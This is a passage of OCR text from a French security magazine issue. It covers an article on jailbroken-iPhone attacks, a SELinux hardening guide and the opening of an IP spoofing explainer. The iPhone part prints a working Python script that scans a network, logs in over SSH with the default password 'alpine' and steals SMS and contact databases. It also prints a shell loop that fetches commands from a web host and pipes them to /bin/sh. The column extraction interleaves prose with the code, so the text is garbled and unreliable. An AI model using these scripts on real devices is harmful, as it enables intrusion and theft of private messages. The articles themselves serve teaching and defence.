Enter SQL statements terminated with a ";"
sqlite> update ABMultiValue set value="08 12 34 56 78";
sqlite> select * from ABMultiValue;
1|1|3|0|1|08 12 34 56 78
2|1|3|1|2|08 12 34 56 78

Listing 5. Analyse du fichier de SMS

( cloud ~) $ file sms.db


sms.db: SQLite 3.x database
( cloud ~) $ sqlite3 sms.db ".dump"| more
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
......
CREATE TABLE message (ROWID INTEGER PRIMARY KEY AUTOINCREMENT, address TEXT, date INTEGER, text TEXT, flags INTEGER, replace
INTEGER, svc_center TEXT, group_id INTEGER, association_id INTEGER, height INTEGER, UIFlags INTEGER, version
INTEGER, subject TEXT, country TEXT, headers BLOB, recipients BLOB, read INTEGER);
INSERT INTO "message" VALUES(1188,'06 12 34 56 78',1260922191,'Exemple de SMS pour Hakin9',3,0,NULL,543,1260911191,0,4,0,NULL,'fr',
NULL,NULL,1);
......

2/2010 HAKIN9 35
FOCUS
l'iPhone :) . Notre script récupérera secondes, une page web dans laquelle la" par exemple) puis l'exécutera. Il est
dans une boucle infinie, toutes les cinq se trouve une commande shell ("ls - possible ainsi de garder le contrôle sur
l'iPhone et même d'installer des paquets
si besoin en enchainant les commandes
Listing 6. PoC de vol de contacts et SMS sur iPhone
wget et dpkg . Je laisse votre imagination
#!/usr/bin/env python trouver tout ce qui est possible de faire
import socket, sys, os, paramiko
par ce biais. L’intérêt ici est de rendre
local_file='/home/user/where/you/want/to/store/data/' # répertoire local ou seront l’iPhone contrôlable même si le serveur
stockées les infos OpenSSH n’est plus actif.
network = "192.168.0." # le réseau à scanner

sms_remote = '/private/var/mobile/Library/SMS/sms.db'
Se protéger
contact_remote = '/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb' Certains recommandent de couper
ip_num = 1 le ser veur OpenSSH en utilisant par
ip_list = []
exemple l'application BossPrefs. C'est
sys.stdout.write(">> Scan du reseau ") une grosse erreur ! En ef fet, le ser veur
sys.stdout.write(network) OpenSSH se coupera ef fectivement
sys.stdout.write("0/24") mais redémarrera au prochain
#Nous commençons par scanner une plage IP
démarrage de l'iPhone. La première
while ip_num < 255: chose à faire est de modifier le mot de
host = network + str(ip_num) passe de vos comptes root et mobile
sys.stdout.write('.')
en vous connectant en SSH à l'iPhone
sys.stdout.flush()
try:
et en tapant la commande passwd . Le
sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) système vous demandera alors d’entrer
sock1.settimeout(0.2) votre ancien mot de passe (uniquement
sock1.connect((host,22)) #On test une connexion SSH
pour le compte mobile) puis le mot de
ip_list.append(host) #Si on arrive à s'y connecter, on ajoute l'IP dans
ip_list passe que vous souhaitez et, enfin, vous
sock1.close() demandera de le confirmer comme le
except: montre le Listing 8.
sys.stdout.write('.')
sys.stdout.flush()
Une autre solution consiste à modifier
ip_num += 1 la configuration de base du serveur
OpenSSH de l'iPhone. Tout d'abord, nous
#Nous tentons de récupérer les contacts et SMS si c'est un iPhone
allons modifier le port du serveur puis ne
print "\n\n>> Getting SMS and Contact List"
for hostname in ip_list: permettre une authentification qu'à partir
try: d'un client ayant une clé connue de l'iPhone.
print 'Testing with :', hostname, '...', Commençons par modifier le fichier /etc/
t = paramiko.SSHClient()
sshd_config. Nous allons dé-commenter
t.set_missing_host_key_policy(paramiko.AutoAddPolicy())
t.load_system_host_keys() la ligne #Port 22 en supprimant le # et
t.connect(hostname, port='ssh', username='root', password='alpine') en mettant un autre port que le 22 (38412
ftp = t.open_sftp() #On se connecte en SFTP pour récupérer les contacts et par exemple). Ensuite, il faut dé-commenter
SMS
try:
la ligne #AuthorizedKeysFile .ssh/
local_file_ok = local_file + hostname + '-sms.db' authorized _ keys et mettre le champ
ftp.get(sms_remote, local_file_ok) #PasswordAuthentication yes à No
print "SMS vole ! ...",
et modifier également StrictModes. Nous
except:
print "Pas de SMS :( ...", obtenons un fichier de configuration qui
try: ressemble au Listing 9.
local_file_ok = local_file + hostname + '-contact.db' Nous allons maintenant créer nos clés
ftp.get(contact_remote, local_file_ok)
privées/publiques pour s'authentifier sur
print "Contacts voles !"
except: l'iPhone. Pour cela, il faut appliquer sur votre
print "Pas de contact :( ..." pc qui va accéder à l'iPhone la commande
ssh-keygen -t rsa comme le montre
ftp.close()
t.close()
le Listing 10. Cela créera les 2 clés dans
except : votre répertoire ~/.ssh/ . Il faut alors placer le
print "Pas un iPhone" contenu de votre clé publique (id_rsa.pub)
dans le fichier /var/root/.ssh/authorized_
keys de votre iPhone.

36 HAKIN9 2/2010
LES PREMIERS VIRUS IPHONE SONT LÀ !

Ceci fait, il faut modifier le démarrage


Listing 7. Script transformant l'iPhone en Zombie du serveur OpenSSH de l'iPhone. Ce
iPhone:~ root# cat zombie.sh dernier fonctionne comme un système Mac
#!/bin/sh OSX via launchd . C'est en fait un fichier
while : XML qu'il faut configurer et qui se trouve
do
dans le fichier /Library/LaunchDaemons/
wget -c http://www.votresite.com/iphonecmd.html
cat iphonecmd.html | /bin/sh com.openssh.sshd.plist. Il faut modifier
rm iphonecmd.html la key ProgramArguments afin d’obtenir
sleep 5 la valeur indiquée dans le Listing 11
done
(suppression de l’argument "-i" pour le
iPhone:~ root# chmod +x zombie.sh remplacer par "–f /etc/ssh/sshd_config").
iPhone:~ root# ./zombie.sh & Il ne reste plus qu'à redémarrer
l'iPhone !
Listing 8. Modification du mot de passe du compte mobile
La dernière recommandation est
login as: mobile logique et pourtant souvent peu suivie :
mobile@192.168.0.2's password: n'installer que ce dont vous avez besoin et
iPhone:~ mobile$ id
uid=501(mobile) gid=501(mobile) groups=501(mobile)
sur des sites de confiance et si vous n’en
iPhone:~ mobile$ passwd avez pas vraiment besoin, ne jailbreakez
Changing password for mobile. pas votre iPhone!
Old password: alpine
New password: votre_nouveau_mot_de_passe
Retype new password: votre_nouveau_mot_de_passe Conclusion
iPhone:~ mobile$ Apple a fondé sa sécurité sur sa
politique de contrôle des applications
Listing 9. Fichier /etc/ssh/sshd_config
avant leur publication sur l'App Store et
iPhone:~ root# cat /etc/ssh/sshd_config en empêchant toute autre entrée. Dès
...... lors, en jailbreakant l'iPhone, cette chaîne
Port 38412
de confiance est brisée et les données
......
StrictModes no se retrouvent à nu. L’installation d’un
#MaxAuthTries 6 serveur OpenSSH afin d’utiliser au mieux
le jailbreak ne fait qu’ouvrir une porte à
RSAAuthentication yes
moitié entrouverte pour les pirates. Le
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys ver Ikee a été un avertissement mais
...... déjà des rumeurs sur l'existence d'un ver
PasswordAuthentication no
volant des informations confidentielles se
......
font entendre. Le point d'entrée exposé ici
Listing10. Création des clés SSH est le serveur OpenSSH mais il a été
démontré que toutes les applications,
(cloud ~ ) $ ssh-keygen -t rsa
même celles utilisant uniquement le
Generating public/private rsa key pair.
Enter file in which to save the key (/home/cloud/.ssh/id_rsa): SDK d'Apple (9) peuvent compromettre
Enter passphrase (empty for no passphrase): les données de l'iPhone donc, attention
Enter same passphrase again:
à vos téléchargements sous peine de
Your identification has been saved in /home/cloud/.ssh/id_rsa
Your public key has been saved in /home/cloud/.ssh/id_rsa.pub
surprise !
The key fingerprint is:
26:e5:a4:29:b7:5a:29:08:d7:68:39:eb:a3:12:0b:02 cloud@madpowah.org

Listing 11. Fichier /Library/LaunchDaemons/com.openssh.sshd.plist

iPhone:~ root# cat /Library/LaunchDaemons/com.openssh.sshd.plist


......
<key>ProgramArguments</key>
<array>
<string>/usr/sbin/sshd</string>
À propos de l'auteur
<string>-f /etc/ssh/sshd_config</string>
Rémi LAURENT est ingénieur SSI dans le cabinet de
conseil toulousain SCASSI Conseil. Passionné depuis
</array> plus de 10 ans par la sécurité informatique et par
le monde de l’Open Source dont principalement
...... FreeBSD, il partage sa passion sur son blog : http:
//blog.madpowah.org
Pour contacter l'auteur : cloud@madpowah.org

2/2010 HAKIN9 37
FOCUS
Accroître la
RÉGIS SENET

sécurité avec
SELinux
Degré de difficulté
D’une manière générale, le système d’information concerne
l’ensemble des moyens (organisations, acteurs, procédures et
systèmes informatiques) nécessaires à l’élaboration, au traitement,
au stockage, à l’acheminement ainsi qu’à l’exploitation des
informations.

A
ujourd'hui, l’essentiel du système Certaines menaces nuisent à l'image-même
d’information est porté par le système du propriétaire du système d'information. Des
informatique et la notion de sécurité techniques répandues de « defacing » permettent
informatique recouvre pour l’essentiel la notion de à une personne mal intentionnée de mettre en
sécurité des systèmes d’information (SSI). évidence des failles de sécurité sur un serveur
Les évolutions récentes et rapides de l’informatique web. Ces personnes profitent aussi de ces
ont contribué à l’accélération des échanges vulnérabilités pour diffuser de fausses informations
d’informations. Les entreprises se trouvent désormais sur son propriétaire.
confrontées au contrôle efficace de la confidentialité, Pour éviter tout cela, il existe des éléments
de l’intégrité et de la disponibilité de ces informations. de sécurité à installer en amont : SELinux est
Véritable pièce maîtresse, le système une solution de plus en plus répandue, que ce
d’information est donc naturellement devenu la soit chez les professionnels ou même chez les
proie de multiples attaques qui menacent l’activité particuliers.
économique des entreprises et requièrent la mise Nous allons donc vous présenter un peu plus
en place d’une politique de sécurité. en détails SELinux, les mécanismes de la sécurité
Certaines menaces causent directement ou mise en place, la fiabilité de ce système et enfin,
indirectement d'importants dommages d’ordre son installation ; ainsi, vous pourrez le mettre en
financier. En effet, de nombreuses entreprises place sur votre parc informatique.
déclarent avoir souffert de lourdes pertes
financières suite à une attaque ou un problème Présentation de SELinux
technique liés à leur système d’information. Des Security-Enhanced Linux, ou plus souvent abrégé
sommes de l'ordre de plusieurs milliards de dollars sous le nom de SELinux, est un module développé
CET ARTICLE US ont été avancées suite à des dommages par la NSA sur la base de travaux menés avec
EXPLIQUE... causés par des programmes malveillants comme SCC et l'université d'Utah aux USA et avec la
Ce qu’est SELinux le ver Code Red. D'autres dommages substantiels, collaboration d’autres organismes (MITRE et NAI)
Ce qu’il apporte comme ceux liés au vol de numéros de cartes de ; il permet de définir une politique de contrôle
crédit, ont été déterminés plus précisément. d'accès obligatoire aux éléments d'un système
Outre les aspects financiers, des bris de fondé sur Linux.
CE QU'IL FAUT sécurité informatique nuisent parfois à la vie privée Dévoilé au public en 2000, SELinux est dérivé
SAVOIR... de l’entreprise en divulguant des informations de l’architecture Flask security, ce qui a permis une
Connaissance en système confidentielles qui, entre de mauvaises mains, se intégration très rapide dans la communauté de
d’exploitation Linux et les bases
des réseaux révèleraient très dangereuses pour l’entreprise. l’Open Source.

38 HAKIN9 2/2010
ACCROÎTRE LA SÉCURITÉ AVEC SELINUX

Il permet de classer les applications d’un service sur le serveur car le principe de les attributs principaux sont le rôle, le
d'un système en différents groupes, SELinux est d’isoler les organes vitaux. Un domaine, le type, l’identité.
avec des niveaux d'accès plus fins. Il seul organe isolé de lui-même n’apporte
permet aussi d'attribuer un niveau de pas un gain de sécurité flagrant. Le fonctionnement
confidentialité pour l'accès à des objets- Dans un système linux classique dépourvu
système, comme des descripteurs de Mécanisme de sécurité de SELinux, comme nous l'avons indqué
fichier, selon un modèle de sécurité multi- Actuellement, les machines de types précédemment, un utilisateur est identifié
niveau (MLS pour Multi level Security). GNU/Linux utilisent le modèle DAC pour par son UID/GID et, de plus, il peut changer
Actuellement, il existe un grand Discretionary Access Controls pour gérer d’identité grâce à la commande su.
nombre de personnes travaillant sur le les permissions des utilisateurs et des L’utilisateur n’a donc pas vraiment d’identité.
projet bien qu’il n'y ait pas réellement ressources. Ce système s'appuie uniquement Grâce à SELinux, une nouvelle notion
de support officiel du système, il faut sur l’identité de l’utilisateur (Son UID signifiant apparaît : le SID (Security Identifier). Le
donc passer par les ‘mailing groups‘ ou User Identifier) et sur le ou les groupes SID donne une nouvelle identité reliée
chercher sur internet afin de trouver des au(x)quel(s) il appartient (GID signifiant Group au contexte qui lui a été attribué (rôle,
réponses à de nouvelles questions. Identifier). Cette méthode n’est pas vraiment domaine, type). Celle-ci vient s’ajouter
complète puisqu’un programme héritant des lors de la création d’un utilisateur. Une fois
Fonctionnement droits d’un utilisateur, hérite aussi de tous ses loguée, elle ne change pas même lors de
Le modèle de sécurisation dont fait preuve privilèges et c’est de là qu'émanent les soucis l'utilisation d'un su. Ainsi, les permissions
SELinux est un modèle MAC (Mandatory de sécurité. définies dans son contexte restent actives
Access Control) dérivé des modèles SELinux, avec son nouveau mécanisme dans tous les cas, il ne pourra donc
traditionnels. En effet, le modèle traditionnel de sécurité, apporte un système prenant jamais dépasser ses privilèges.
ne permettait pas un contrôle aussi fin en compte : Il en est de même pour les processus
que désiré. Le modèle utilisé est donc un : chaque processus possède un SID,
mélange de plusieurs modèles existants : • Le rôle de l’utilisateur donc un contexte particulier, rien ne peut
• La sensibilité ainsi que l’intégrité des outrepasser les permissions même s'il
• IBAC (Identity Based Access Control) données est lancé en root.
qui intègre la partie identité. • La fonction ainsi que l’indice de Quant au changement d’identité,
• RBAC (Role Based Access Control) confiance des programmes c'est-à-dire un changement quand un
qui intègre les rôles. utilisateur est logué ou lorsqu’il s’agit d’un
• TE (Type Enforcement) est le plus Plus concrètement, il apporte pour chaque programme, il est possible mais il est
important car il intègre les types et le processus du système un contexte dont très sérieusement contrôlé ; actuellement
domaine qui permettent la séparation
de tous les processus.
Listing 1. Installation de SELinux

En définitive, SELinux se présente comme nocrash:~# reboot


[…]
une application de Flask qui est une
Checking SELinux contexts : selinux-basics
architecture du modèle MAC. Relabeling your filesystems for SELinux …….. Cleaning out /tmp
[…]
Qui est concerné par debian login:

SELinux ? Listing 2. Mise en place du mode „enforcement”


Bien qu’il soit tout à fait possible d’installer
SELinux sur un ordinateur de bureau, nous # This file controls the state of SELinux on the system.
# SELINUX= can take one of these three values:
partirons du principe que tout le monde
# enforcing - SELinux security policy is enforced.
n’est pas paranoïaque. Dans la majeure # permissive - SELinux prints warnings instead of enforcing.
partie des cas, nous retrouverons donc # disabled - No SELinux policy is loaded.
SELinux sur des serveurs d’entreprise ou SELINUX=enforcement
# SELINUXTYPE= can take one of these two values:
la sécurité est vraiment indispensable. # targeted - Only targeted network daemons are protected.
En règle générale, il se trouve sur des # strict - Full SELinux protection.
petits serveurs faisant tourner un nombre SELINUXTYPE=targeted

limité de services. En effet, il est nécessaire


Listing 3. Activation du mode „enforcement”
de créer des règles associées à chaque
service. Un serveur comportant un trop nocrash:~# selinux-config-enforcing
grand nombre de services sera plus Configured enforcing mode in /etc/selinux/config for the next boot.
This can be overriden by « enforcing=0 » on the kernel
difficilement administrable mais cela reste command line.
possible. Enfin, il est nécessaire d’avoir plus

2/2010 HAKIN9 39
FOCUS
seuls 2 processus sont autorisés à le faire. Le serveur de sécurité est le seul à pouvoir Le mode Permissive
(crond et login), 3 si ssh est installé. interpréter le contexte de sécurité d’un objet et Ce mode est très pratique pour tester
faire les opérations logiques entre les SID. les règles et voir quelles applications se
L’identité Ces opérations logiques du serveur sont lanceraient ou non en mode Enforcement.
Chaque processus possède un domaine. déclenchées par les multiples points de C’est donc dans ce mode qu’il faut faire les
Ce domaine possède des règles de contrôle insérés partout dans le kernel. labels et les règles de sécurité.
sécurité définissant les permissions vers Le serveur de sécurité compare le SID
certains objets et qui sont appliquées de l'objet source (ex : l'utilisateur exécutant Le mode Disabled
à tous les processus de ce domaine. une commande) et celui de destination (la Ce mode ne désactive pas complètement
SELinux permet également d’affiner les commande) en associant ce SID à celui SELinux mais celui-ci ne charge plus les
permissions d’un domaine en donnant la mappé dans le contexte de sécurité. règles de sécurité et tous les nouveaux
possibilité de spécifier des permissions Le contexte d’un SID est mappé au fichiers ne sont pas labellisés.
particulières selon l’objet à qui est assigné démarrage dans le contexte de sécurité et Après un passage par le mode
le rôle. Par exemple, un fichier quelconque est maintenu par le serveur de sécurité. Disabled, revenir en mode actif (Permissive
et un périphérique d’un même domaine ne ou Enforcement) nécessitera de labelliser
possèderont pas les mêmes permissions. Les modes de de nouveau complètement vos fichiers.
fonctionnement
Le mécanisme dans le Il existe plusieurs modes de fonctionnement Le mode Audit
système concernant SELinux : Ce mode active l'audit des événements
Le serveur de sécurité est un élément de SELinux, le tout est journalisé dans
directement implémenté dans le kernel Le mode Enforcement /var/log.
contenant les règles de sécurités logiques Ce mode applique toutes les règles de
complètes qui peuvent être modifiées ou sécurité. Si un processus ne possède aucune Compatibilité et fiabilité
étendues de façon flexible. Par mesure de règle, il ne se lancera pas. En général, dans Comme vous vous en doutez, l’ensemble
sécurité et de stabilité, cette partie a été ce mode, beaucoup de choses s’arrêtent de des vérifications supplémentaires
codée proprement pour être bien séparée fonctionner. Il est activé en dernier lorsque, orchestré par SELinux a un coût au
du reste du kernel. assurément, tout est prêt. niveau des performances du serveur.
En effet, l’installation de cette mesure
Listing 4. Mise en place du mode „permissive”
de sécurité diminue jusqu'à 10% environ
# This file controls the state of SELinux on the system. les performances du serveur selon la
# SELINUX= can take one of these three values: complexité et le nombre de règles.
# enforcing - SELinux security policy is enforced.
Néanmoins, la stabilité reste identique.
# permissive - SELinux prints warnings instead of enforcing.
# disabled - No SELinux policy is loaded. Le code implémenté est propre et ne crée
SELINUX=permissive (aujourd’hui) aucun problème significatif.
# SELINUXTYPE= can take one of these two values:
# targeted - Only targeted network daemons are protected.
# strict - Full SELinux protection.
Sauvegarde
SELINUXTYPE=targeted Sauvegarder l’ensemble des règles de
sécurité permettant par la suite une
Listing 5. Désactivation de SELinux restauration rapide en cas de problème
# This file controls the state of SELinux on the system. sur le serveur, s'effectue à tout moment.
# SELINUX= can take one of these three values: La sauvegarde des règles permet après
# enforcing - SELinux security policy is enforced. restauration de labelliser de nouveau
# permissive - SELinux prints warnings instead of enforcing.
# disabled - No SELinux policy is loaded.
complètement le système de fichiers.
SELINUX=disabled
# SELINUXTYPE= can take one of these two values: Installation de SELinux
# targeted - Only targeted network daemons are protected.
Pour installer SELinux dans de bonnes
# strict - Full SELinux protection.
SELINUXTYPE=targeted conditions sur votre serveur, il est nécessaire
que le système de fichiers soit de l’ext2 ou
Listing 6. Activation de SELinux via le fichier de boot de l’ext3. Il y a de nombreux problèmes avec
root (hd0,0)
les autres systèmes de fichiers.
kernel /boot/vmlinuz-2.4.20-selinux-2003040709 ro root=/dev/hda1 nousb
selinux=0 Mise à jour du système
#initrd /boot/initrd-2.4.20-selinux-2003040709.imgier /boot/grub/menu.lst
La distribution utilisée en appui du présent
si vous utilisez GRUB, soit le fichier /etc/lilo.conf si vous
utilisez LILO. est une Debian 5.0 (Lenny) entièrement
actualisée. Certaines commandes risquent

40 HAKIN9 2/2010
ACCROÎTRE LA SÉCURITÉ AVEC SELINUX

de ne pas être tout à fait identiques nocrash:~# check-selinux-installation nocrash:~# reboot


sur une autre distribution. L’ensemble nocrash:~#
des installations est réalisé grâce au Pour les Linux ne possédant pas de fichier
gestionnaire de paquets propre à un Il convient d’activer le mode Enforcement soit /etc/selinux/config, il faut alors éditer le
système Debian : APT (Advanced Package en modifiant le fichier de configuration /etc fichier de boot soit le fichtitle SE-Linux Test
Tool). /selinux/config (Listing 2) soit en lançant System
À tout moment, une faille de sécurité simplement cette commande (Listing 3).
peut être découverte dans l’un des Redémarrer une dernière fois le Désactivation complète
modules composant votre système, que système d’exploitation implique que les La désactivation complète de SELinux
ce soit Apache ou quoi que ce soit d’autre. nouvelles configurations de SELinux seront est quasiment identique à l’activation du
Certaines de ces failles sont critiques d’un prisent en compte : mode permissif avec une petite étape
point de vue sécurité pour l’entreprise. Pour supplémentaire. En effet, nous éditerons
palier ce risque potentiel, il est nécessaire nocrash:~# reboot également le fichier de configuration
de régulièrement mettre à jour l’ensemble /etc/selinux/config pour y ajouter la ligne
du système grâce à divers patches de Désinstallation de SELinux SELINUX=disabled (Listing 5).
sécurité. Comme tout logiciel, SELinux se désactive à Et de là, il est nécessaire de redémarrer
La commande suivante actualise tout moment. Cependant, désactiver SELinux le système d’exploitation :
l’ensemble du système : n'équivaut pas à désinstaller OpenOffice.org
ou d’autres logiciels du même genre. En nocrash:~# reboot
nocrash:~# apt-get update && apt-get effet, SELinux est un mécanisme de sécurité
upgrade de votre système d’exploitation, il est donc Possédant pas de fichier /etc/selinux/
nécessaire de réfléchir aux conséquences confg, il faut alors éditer le fichier de boot
Le système d’exploitation est maintenant avant de le désinstaller. soit le fichier /boot/grub/menu.lst
complètement à jour, SELinux peut être La désactivation de SELinux pose (Listing 6).
mis en place dans de bonnes conditions. parfois également des problèmes pour le Il sera également nécessaire de
réactiver. En effet, certains fichiers risquent redémarrer le système d’exploitation :
Installation de SELinux de se retrouver sans label : il faudra alors
Nous voici prêts à lancer l’ensemble des labelliser de nouveau complètement le nocrash:~# reboot
installations relatives à SELinux. système de fichiers.
Conclusion
nocrash:~# apt-get install selinux- Désactivation temporaire SELinux est une formidable solution pour
basics selinux- Désactiver temporairement SELinux est sécuriser tout serveur exposé sur internet.
policy-default parfois nécessaire pour des diverses La prise en main n'est pas aisée et la
raisons. Cette action s'effectue après configuration fait parfois peur mais chacun
Pour installer éventuellement la documentation édition du fichier de configuration / peut se lancer en choisissant la distribution
sur la politique de référence de SELinux selinux/enforce . qui lui convient le mieux. Utiliser Debian et
Fedora permettra de ne pas se soucier de
nocrash:~# apt-get install selinux- nocrash:~# echo 0 >/selinux/enforce l'installation car elle est relativement aisée
policy-doc Activation du mode permissif et Gentoo Hardened dispose d'un LiveCD
qui sera une bonne démonstration avant
Il est nécessaire d’activer SELinux : Comme évoqué précédemment, de passer à une installation en dur.
SELinux dispose de plusieurs modes de De plus, beaucoup d'outils existent pour
nocrash:~# selinux-activate fonctionnement incluant Enforcement, éviter au maximum de se retrouver avec
Activating SE Linux Permissive ou encore Disabled. des lignes de configuration barbares.
SE Linux is activated. You may need Passer SELinux en mode de SELinux est quasiment implémenté par
to reboot now. fonctionnement Permissive permet toutes les principales distributions, flexible,
d’autoriser l’ensemble des actions. Des secure, open-source et régulièrement
Il faut redémarrer le système d’exploitation messages de log seront générés pour les actualisé... N’attendez plus, adoptez SELinux !
afin de labéliser le système de fichiers. actions devant normalement être bloquées
Cela peut prendre un petit moment, soyez mais aucune autre action ne sera mise en Auteur
Régis SENET, actuellement stagiaire pour la société
patient (Listing 1). place. JA-PSI, est étudiant en cinquième année à l’école
Supérieure d’informatique « Supinfo ». Passionné par
Après avoir redémarré, la commande Pour activer ce mode, éditons le fichier les tests d’intrusion et les vulnérabilités Web, il tente
check-selinux-installation permet de vérifier /etc/selinux/config (Listing 4). de découvrir la sécurité informatique d’un point de vue
entreprise. Il s'oriente actuellement vers les certifications
éventuellement que toutes les installations Et de là, il est nécessaire de redémarrer Offensive Security et CEH.
se sont déroulées avec succès : le système d’exploitation : Contact: regis.senet@supinfo.com, http://www.regis-senet.fr

2/2010 HAKIN9 41
ATTAQUE
RÉGIS SENET

Attaque par IP
Spoofing
Degré de difficulté
Comment obtenir l’accès non autorisé sur une machine ? La
réponse est simple : usurpation d’adresse IP qui consiste à
remplacer l’adresse IP de l’expéditeur d’un paquet par l’adresse IP
d’une autre machine. Comment s’en défendre ? La réponse dans
cet article.

Qu’est ce que l’IP Spoofing exemple, lors d'une attaque de type déni
La technique de l’IP Spoofing est une attaque de service, l'adresse IP source des paquets
informatique qui commence à dater mais elle envoyés sera falsifiée afin d’éviter de localiser
demeure légendaire par l'utilisation qu'en a fait la provenance de l'attaque permettant à
Kevin Mitnick en 1995 contre le Supercomputer l’attaquant d’être anonyme.
Center de SanDiego protégé par Tsatumo • La seconde utilisation de l'IP Spoofing permet
Shimomura. Kevin Mitnick n’a fait que reprendre de profiter d'une relation de confiance entre
une faille connue depuis Février 1985 mais qui deux machines pour prendre la main sur l'une
n’avait jamais été mise en place. des deux.
L'« usurpation d'adresse IP » (également Cet article vous présentera la seconde
appelée mystification ou en anglais IP Spoofing) utilisation de l’IP Spoofing, utilisation qui peut avoir
est une technique consistant à remplacer l'adresse des retombées beaucoup plus désastreuses.
IP de l'expéditeur d'un paquet IP par l'adresse IP Certains tendent à assimiler l'utilisation d'un
d'une autre machine. proxy (permettant de masquer d'une certaine
Ce type d’attaque s’utilise de deux manières façon l'adresse IP) avec de l’IP Spoofing. Toutefois,
différentes : le proxy ne fait que relayer les paquets. Ainsi,
même si l'adresse est apparemment masquée,
• La première utilité de l'IP Spoofing est la un pirate peut facilement être retrouvé grâce au
falsification de la source d'une attaque. Par fichier journal (logs) du proxy.

�������� ���

CET ARTICLE
EXPLIQUE... ��������
������
Ce qu’est l’IPSpoofing ����������
Les risques encourus

Comment s’en protéger ������


������
CE QU'IL FAUT
SAVOIR... �����
Connaissance en système
d’exploitation Linux et les bases
des réseaux Figure 1. Utilisation de paquets spoofé

42 HAKIN9 2/2010
L'IP Spoofing a souvent lieu contre les
services rlogin et rsh car leur mécanisme
d'authentification est fondé sur l'adresse
IP. Le principe est simple : dès qu'un client
possède une connexion établie sur le
serveur avec un mode d'authenfication fondé
sur l'adresse IP, le pirate essaiera de se faire
passer pour le client auprès du serveur. Pour
cela, il empêchera le client de dialoguer avec
le serveur et répondra à sa place.

Un peu de théorie ne fait


jamais de mal
Le protocole IP est un protocole non-
orienté connexion, il n'assure aucune
vérification de la réception des paquets
et ne se soucie que peu de la façon de
les traiter. Le protocole IP n'assure qu'un
routage d'une adresse vers autre. Il est
donc aisé de duper le routage IP en
injectant des paquets falsifiés ayant des
adresses IP valides sur le réseau.
A l’inverse, le protocole TCP assure
une fiabilité de la remise des paquets
grâce à des numéros de séquences qui
les distingue un à un. Chaque paquet TCP
possède deux numéros, le numéro de
séquence et le numéro d'acquittement.
Ces deux nombres sont codés sur 32 bits.
Ils sont uniques, afin de ne pas confondre
les paquets lors de leurs traitements.
Nous décrirons l'attaque sur ces
bases.
Imaginons que le client A est connecté
grâce au protocole rsh sur le serveur B.
Le pirate C tentera de voler la connexion
au client.
En premier lieu, il réduira au silence
le client en le saturant avec des attaques
telles que le syn-flooding ou encore les
attaques par déni de service.
La seconde partie de l'attaque est
assez simple. Le pirate envoie une série
de demandes de connexion au serveur
en utilisant l'adresse du client A. Le
serveur répond avec une série de paquets
d'acquittement. C'est là que réside toute la
finesse de l'IP Spoofing.

Rappels sur le protocole


TCP
Afin de réaliser une connexion TCP, le client
envoie un paquet avec un numéro de
séquence initial (NS1). Le serveur répond
avec un paquet d'acquittement ayant
ATTAQUE
son propre numéro de séquence (NS2), lui étant destinés. Il ne peut donc pas Une solution consiste à refuser les
mais ayant un numéro d'acquittement connaître cette valeur NS. Il va donc la paquets TCP SYN successifs depuis une
(NA1) égal au numéro de séquence initial générer lui-même à partir de son analyse même adresse pour éviter que le pirate
incrémenté d'une unité (NA1=NS1+1). de l'algorithme d'incrémentation. C'est prédise le comportement du générateur
Ensuite, le client renvoie un paquet avec pourquoi cette attaque est aussi qualifiée de numéros de séquences. Mais une telle
un numéro d'acquittement (NA2=NS2+1). «d'attaque aveugle». Si le numéro est valide, restriction peut limiter la disponibilité du
Une connexion TCP s'établit donc en trois le pirate a établi la connexion au serveur en service (attaque par déni de service ou
parties. se faisant passer pour le client. DoS).
Ce principe de numéros de séquences Le fait que l'attaque ne se restreigne Sous GNU/Linux, il existe des modules
et d'acquittement est utilisé durant toute la qu'à une petite partie de système vient tels que rp_filter permettant de se défendre
transaction pour en assurer la fiabilité. La du fait que la plupart des piles TCP/IP contre ces types d’attaques.
subtilité de l'attaque réside dans le fait que le utilisent des numéros de séquences Il est maintenant possible de vérifier
serveur génère la valeur NS2 suivant un cycle fondés sur des nombres aléatoires. que son système n’a pas de numéro de
particulier. Il peut utiliser, par exemple, soit Certains systèmes comme BSD ou HP-UX séquence TPC facilement prédictible.
une fonction générant un nombre aléatoire, connaissent de gros problèmes à cause
soit incrémenter une valeur initiale de 128 de l'IP-Spoofing. Prévenir l’IP Spoofing grâce
toutes les secondes et de 64 après chaque Dans le cadre d'une attaque par à Nmap
connexion. Tout dépend de l'implémentation usurpation d'adresse IP, l'attaquant n'a aucune Nmap invoqué avec l'option -O et -v
de la pile TCP/IP du système. information en retour car les réponses de la vous fournit une indication sur la difficulté
Revenons à notre problème. Le pirate machine cible vont vers une autre machine du qu'aura le pirate à procéder à une attaque
envoie un grand nombre de demandes réseau (il s'agit alors d'attaque à l'aveugle, en par IP Spoofing contre votre serveur.
de connexion dans un laps de temps anglais blind attack). Celles-ci nous renseignent sur la
déterminé et analyse les acquittements difficulté d'une attaque par IP-Spoofing. Plus
du serveur pour déterminer l'algorithme Se défendre de l’IP Spoofing le nombre associé à la valeur Difficulty est
d'incrémentation. Si cet algorithme Le filtrage IP n'a jamais été considéré élevé, plus il est difficile d'entreprendre une
s'appuie sur la génération de nombres comme un élément permettant de attaque. Inversement, si lors d'un scan,
aléatoires, l'attaque a peu de chances sécuriser un système. Tout au plus est-il vous obtenez un nombre très bas avec un
d'aboutir. Mais si l'algorithme est facilement un frein. Une authentification s'appuyant message du type Trivial Joke, cela signifie
compréhensible, le pirate envoie alors sur l’adresse IP peut être une bonne chose que votre système est très vulnérable à une
une requête de connexion au serveur en mais cette dernière doit être couplée avec attaque par IP-Spoofing.
utilisant l'adresse IP du client. Le serveur un autre mécanisme d’authentification
répond avec un paquet d'acquittement de comme le classique couple nom Conclusion
numéro de séquence (NS). Le client mis d’utilisateur/mot de passe. L’IP spoofing est une menace moins
hors service ne pourra répondre, le pirate Comme indiqué précédemment, importante aujourd’hui en raison des
le fera à sa place. certains services comme rsh et rlogin ne se patches de sécurité appliqués. La
Pour cela, il doit injecter un paquet fondent que sur l’adresse IP, il est impératif sécurité des syste`mes d’exploitation ainsi
ayant un numéro d'acquittement de valeur de supprimer ces services pour les que l’utilisation étendue de séquence
NA = NS +1. Mais, ayant usurpé l'adresse remplacer par, au pire du Telnet et au mieux de nombre totalement aléatoire rend
du client, il ne peut intercepter les paquets du SSH avec login et mot de passe. de moins en moins évident ce type
d’attaque. Bien que cette attaque soit de
